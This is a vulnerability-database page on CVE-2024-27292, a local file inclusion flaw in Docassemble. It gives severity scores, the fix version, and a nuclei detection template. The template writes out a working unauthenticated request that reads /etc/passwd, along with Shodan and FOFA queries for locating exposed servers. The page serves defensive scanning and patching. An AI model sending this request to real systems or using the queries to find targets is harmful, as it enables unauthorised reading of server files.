HexBrain

Browse / CVEs / CVE-2024-27292

CVE-2024-27292· CWE-706

Docassemble - Local File Inclusion

highseverity
7.5CVSS score
69.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Docassemble is an expert system for guided interviews and document assembly. The vulnerability allows attackers to gain unauthorized access to information on the system through URL manipulation. It affects versions 1.4.53 to 1.4.96. The vulnerability has been patched in version 1.4.97 of the master branch.

Impact

Unauthenticated attackers can read arbitrary files on the server through URL manipulation in the Docassemble interview endpoint.

Fix

Update Docassemble to version 1.4.97 or later.

How to confirm it

Send: GET {{BaseURL}}/interview?i=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 501

Run it with nuclei: nuclei -id CVE-2024-27292 -u <target>

The full check
id: CVE-2024-27292

info:
  name: Docassemble - Local File Inclusion
  author: johnk3r
  severity: high
  description: |
    Docassemble is an expert system for guided interviews and document assembly. The vulnerability allows attackers to gain unauthorized access to information on the system through URL manipulation. It affects versions 1.4.53 to 1.4.96. The vulnerability has been patched in version 1.4.97 of the master branch.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server through URL manipulation in the Docassemble interview endpoint.
  remediation: |
    Update Docassemble to version 1.4.97 or later.
  reference:
    - https://tantosec.com/blog/docassemble/
    - https://github.com/jhpyle/docassemble/security/advisories/GHSA-jq57-3w7p-vwvv
    - https://github.com/jhpyle/docassemble/commit/97f77dc486a26a22ba804765bfd7058aabd600c9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-27292
    cwe-id: CWE-706
    epss-score: 0.69486
    epss-percentile: 0.99367
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"docassemble"
    fofa-query: icon_hash="-575790689"
  tags: cve,cve2024,docassemble,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/interview?i=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 501

References

Use this check only on systems you are authorised to test. Where the data comes from